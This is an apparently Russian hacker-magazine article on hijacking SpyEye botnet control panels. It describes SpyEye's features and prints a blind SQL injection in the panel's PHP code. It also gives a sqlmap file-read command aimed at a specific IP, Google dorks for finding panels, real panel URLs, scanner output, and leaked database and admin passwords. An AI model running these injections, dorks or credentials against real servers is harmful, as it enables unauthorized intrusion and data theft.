Содержание статьи
Недавно мы изучали опыт крупных компаний по закрытию ботнетов. Однако захватить контроль над ботнетом нередко удается и независимым исследователям безопасности. Для этого не нужно иметь семь пядей во лбу, достаточно одного умения использовать вполне тривиальные уязвимости.
Для построения ботнетов существует немало инструментов, как приватных, так и публичных. Среди тех, которые можно купить или даже раздобыть бесплатно, особенно выделяется SpyEye. Это одна из лучших на сегодняшний день систем для организации ботнет-сетей. Эта программа, изначально созданная андеграундным кодером под ником gribodemon и впоследствии объединенная с не менее известным трояном Zeus, вобрала в себя лучшие особенности обоих продуктов. Даже если ты не знаком с понятием ботнета и читаешь ][ сравнительно недавно, то все равно наверняка слышал о SpyEye. Такая популярность играет на пользу исследователям безопасности. Частое использование старых уязвимых админок SpyEye и общедоступные инструменты для отслеживания С&C-серверов (вроде SpyEye Tracker) помогают добраться до ботнета, за которым плохо приглядывают. Об этом и поговорим.
Хакер #156. Взлом XML Encryption
WWW
- bit.ly/tBYWgi — презентация от Google по ботнетам;
- SpyEyetracker.abuse.ch — SpyEye Tracker;
- pastebin.com/T0pUiEJp — подробное описание троянца;
- bit.ly/sXe4PC — командные центры SpyEye для тестов;
- exploit-db.com — самая большая база эксплойтов.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный с использованием материалов этой статьи.
SpyEye в двух словах
Итак, SpyEye. Изначально «шпионский глаз» создавался как троянская программа для кражи данных. Его основную функциональность обеспечивал модуль для форм-граббинга (form grabbing), который интенсивно использовал webinjects (webinjects.txt) и стилинг (декрипт и кражу) данных из программ, служащих для проведения банковских операций. В дальнейшем трой стал пополняться все новыми и новыми функциональными возможностями. Сейчас он представляет собой расширяемую троянскую программу, которая состоит из основного исполняемого файла и подгружаемых этим файлом модулей (они же плагины, plugins). Разработаны плагины для DDoS, удаленного доступа к рабочему столу через RDP, поднятия SOCKS-сервера, граббинга кредитных карт и т. д. (подробности ты можешь прочитать в статье «Глаз зла» в #10/2011 номере ][). Клиентская часть строится в очень удобном билдере (его интерфейс смотри на скриншоте). По степени распространённости SpyEye стоит на втором месте после ботнета TDL, а по уровню «попсовости» уже давно переплюнул своего предка Зевса. Как было подмечено выше, в эту троянскую программу с конца 2009 был интегрирован исходный код Зевса, а вместе с ним и весь его функционал, что подтверждается реверс-инжинирингом сэмплов бота. По утверждению компании Symantec, в SpyEye входит около 70 % исходного кода Zeus (берем на заметку в связи с тем, что я слил в публичный доступ исходники второго), что видно по общему строению и особенностям функционирования трояна.
Исследования
Как и почти все другие известные ботнет-системы, SpyEye имеет клиент-серверную архитектуру. Серверная часть представлена админ-панелью (C&C) на популярном интерпретируемом языке PHP, который де-факто стал стандартом для построения всяких эксплойт-паков и админок ботнетов. Очевидно, что для управления ботнетом необходимо как-то проникнуть в его админку. Я не буду изобретать велосипед и предложу несколько вполне стандартных способов для поиска уязвимостей, которые могут в этом помочь:
- Статический анализ кода. Вспоминаем написанные выше строки, где говорилось, что центр управления ботнетом написан на PHP. Существует целая куча различных инструментов для статического анализа PHP-кода. Лучшим, наверное, является PHP Bug Scanner, который разработал Raz0r. Лично мне с помощью этого сканера удалось найти немало уязвимостей в популярных crime kits нашего времени.
- Сканирование на доступность директорий и файлов для чтения.Самый глупый, но, оказывается, довольно эффективный метод взлома админок и Google Dorks (правильных шаблонов для поиска) дает неплохие результаты.
- Поиск ошибок в серверном программном обеспечении. Смотрим версии Apache, MySQL, PHP и прочих сетевых демонов, затем пытаемся пробить их соответствующими эксплоитами.
Курьезный случай со SpyEye
«SpyEye Trojan Source Code Published!» — громко кричали зарубежный сайты по ИБ не так давно. Неужели исходный код второго по известности трояна-банкера был опубликован в Сети? Ведь совсем недавно мой слив исходников Зевса наделал столько шума, что мне даже не верилось. Тем не менее я решил проверить, действительно ли исходники SpyEye были слиты. Погуглив по соответствующим запросам, я нашел только записи о французском крэкере Xylit0l, полазил по ссылкам, выданным поисковиком, и пришел к выводу, что зарубежные аналитики по ИБ даже не поняли, что было выложено. На самом деле это был исходник загрузчика, предназначенного для обхода защиты программы-пакера VMProtect, которой накрыты все последние билдеры SpyEye. Смех, да и только.
Практика
Чтобы не быть голословным, покажу, как на практике был получен доступ к админкам нескольких ботнетов. Использование уязвимостей в коде админке — самый верный вариант. Когда я исследовал сорцы на наличие потенциальных уязвимостей, у меня впервые под рукой оказалась админка версии 1.0.2. Сканер помог найти несколько проблемных мест, одно из которых особенно привлекло мое внимание (файл frm_cards_edit.php):
....
$id_card = $_GET['id']; if (!@$id_card) exit;
$dbase = db_open();if (!$dbase) exit;
$sql = ' SELECT cards.num, cards.csc, cards.exp_date,
cards.name, cards.surname, cards.address, cards.city,
cards.state, cards.post_code, country_t.name_country,
cards.phone_num, email_t.value_email '
. ' FROM cards, country_t, email_t'
. ' WHERE cards.fk_email = email_t.id_email'
. ' AND cards.fk_country = country_t.id_country'
. " AND cards.id_card = $id_card"
. ' LIMIT 0, 1';
$res = mysqli_query ($dbase, $sql);
....
Это была банальная уязвимость Blind SQLi, заключавшаяся в том, что переменная $id_card поступала прямиком в запрос без какой-либо фильтрации. Позднее gribodemon решил проблему путем явного приведения к типу int, чтобы, как он сам говорит, «инъекцию не сделали»:
$id_card = (int)$_GET['id'];
Что ж, gribodemon молодец, грамотность автора растет на глазах :). Но вернемся к нашей уязвимости. Я разработал эксплойт для описанного бага, причем изначально рассматривал два способа эксплуатации скули: через BENCHMARK() и через SLEEP(). Но первый показался мне более приемлемым, так как дополнительные замеры времени с BENCHMARK() предотвращают вывод ложных данных.
Новый вектор атаки — интеграция в мобильную платформу
Недавно компания «Доктор Веб» опубликовала рейтинг вредоносных приложений для Android. Одной из самых интересных угроз оказался троянец Android.SpyEye.1. Заразиться этой вредоносной программой в первую очередь рискуют пользователи, компьютеры которых уже были инфицированы троянцем SpyEye. Когда пользователь просматривает страницу банковского сайта, адрес которого содержится в конфигурационном файле троя, в нее осуществляется инъекция постороннего содержимого, которое может включать текст или веб-формы. Таким образом, ничего не подозревающая жертва открывает в браузере настольного компьютера или ноутбука веб-страницу банка, в котором у нее имеется счет, и обнаруживает сообщение о том, что банк ввел новые меры по обеспечению безопасности, без соблюдения которых пользователь не сможет получить доступ к системе «Банк-клиент». Для этого он должен установить на свой мобильный телефон специальное приложение, которое якобы защитит его от перехвата СМС-сообщений. Для того чтобы «активировать» это приложение, пользователь должен, согласно предлагаемой злоумышленниками инструкции, позвонить со своего устройства на номер NNNNNN. Android.SpyEye.1 перехватывает этот звонок и выводит на экран мобильного устройства «код активации», который якобы потребуется ввести на сайте банка впоследствии. Этот код всегда один и тот же: 251340. После этого троянец начнет перехватывать все СМС-сообщения, получаемые владельцем инфицированного устройства, и перенаправлять их злоумышленникам.
Еще больше SQLi
Вторую SQLi совершенно случайно обнаружил мембер моего форума r00tw0rm.com при автоматическом тестировании одного ресурса с помощью известной утилиты Havij для анализа и проведения SQLi-атак. На сей раз баг, скрывавшийся в файле frm_findrep_sub2.php, состоял в том, что параметр id не проверял принимаемые от пользователя данные. Я проверил обнаруженный баг на практике при помощи замечательной утилиты sqlmap для тестирования, анализа и проведения SQL-инъекций (sqlmap.sourceforge.net):
sqlmap.py -u "http://92.241.1.1/frmcp1/frm_findrep_sub2.
php?id=1" --file-read=/var/www/frmcp1/config.php --tor
В итоге получил вот такую красоту:
<?php
# Database
define('DB_SERVER', 'localhost');
define('DB_NAME', 'spyxz');
define('DB_USER', 'admin');
define('DB_PASSWORD', 'SpyEye2db');
# Admin
define('ADMIN_PASSWORD', 'r0t0wVr34xzbdQH');
?>
Вуаля! Доступ к админке ботнета получен!
Сканер
Впрочем, эксплуатация SQL-инъекций далеко не единственный путь, который позволяет добраться до панели управления ботнетом. Даже сканирование сервера в поисках доступных для чтения файлов и директорий часто дает результат. Скриптам выставляют кривые права, в результате чего безопасность системы реально ослабляется. Чтобы увеличить производительность поиска, был разработан специальный сканер, учитывающий структуру SpyEye (ищи на диске файл SpyEye_b0t.pl). Списки C&C для сканирования доступны на специальных трекинговых сервисах вроде SpyEye Tracker. Как видно из названия, задача трекера состоит в постоянном мониторинге командных серверов SpyEye. Мы можем попробовать просканировать какой-нибудь сервер с этого сервиса, добавленный в последние дни, а можем поступить еще проще. И в этом нам поможет всемогущий Гугл! Надеюсь, ты не забыл про Google Dork? Ведь зачастую правильно составленный дорк может принести неиллюзорный профит. Вот лишь несколько примеров:
intitle:"SYN 1" "Please, enter password"
intitle:"CN" "Your JavaScript is turned off. Please, enable
your JS"
intitle:"SYN" "Your JavaScript is turned off. Please, enable
your JS"
"Please, enter password:" inurl:"frm_auth.php"
intitle:"FRMCP"
"index of /SpyEye/"
Пожинаем урожай:
http://trylook.ru/frmcp1/
http://212.36.9.59/adm/frmcp/
http://zerocrown.webcindario.com/
http://alaggaer.ans1.rock21.us/SpyEye/main/
http://92.241.165.228/SpyEyeCollector/
Запускаем наш сканер, например, для последнего адреса 92.241.165.228 и смотрим, какие директории и файлы доступны для чтения:
...
[FOUND] http://92.241.165.228/config.ini
[FOUND] http://92.241.165.228/error.log
[FOUND] http://92.241.165.228/frm_findrep_sub2.php
[FOUND] http://92.241.165.228/mod_perlre.php
[FOUND] http://92.241.165.228/frm_settings.php
.....
[FOUND] http://92.241.165.228/SpyEyeCollector/configs/
sec.config
.....
А вот и конфигурационный файл настроек безопасности в коллекторе SpyEye (sec.config):
...
listening port for logs = "53"
mysql username = "root"
mysql password = "samsung"
...
mysql db name = "collector"
mysql host = "127.0.0.1"
...
Поздравляю! У нас с тобой появился пароль рута БД (root:samsung). Далее можно включить фантазию и попробовать проникнуть глубже с помощью этого пароля. Но как быть с остальными серверами? Давай попробуем протестировать первый командный центр в нашем списке, а именно trylook.ru/frmcp1. Смотрим логи:
....
[FOUND] http://trylook.ru/frmcp1/css/
[FOUND] http://trylook.ru/frmcp1/js/
[FOUND] http://trylook.ru/frmcp1/config.ini
[FOUND] http://trylook.ru/frmcp1/error.log
...
[FOUND] http://trylook.ru/frmcp1/installer/
...
Стоп, неужели это инсталлятор SpyEye? Ботмастер допустил фатальную ошибку при установке бота и забыл удалить инсталляционную директорию, с помощью которой можно очень легко и просто проникнуть внутрь системы. Как видишь, тупой сканер, написанный на коленке за пару минут, вполне может помочь в угоне целого ботнета.
Собираем урожай
Как видишь, для получения контроля над ботнетами часто не нужны какие-то сложные исследования. Для захвата серверов киберпреступников используются их собственные методы. Есть ли другие ошибки в том же SpyEye? Конечно, как и в любом другом продукте. На момент написания статьи в последней версии этого троянца было найдено четыре новых уязвимости.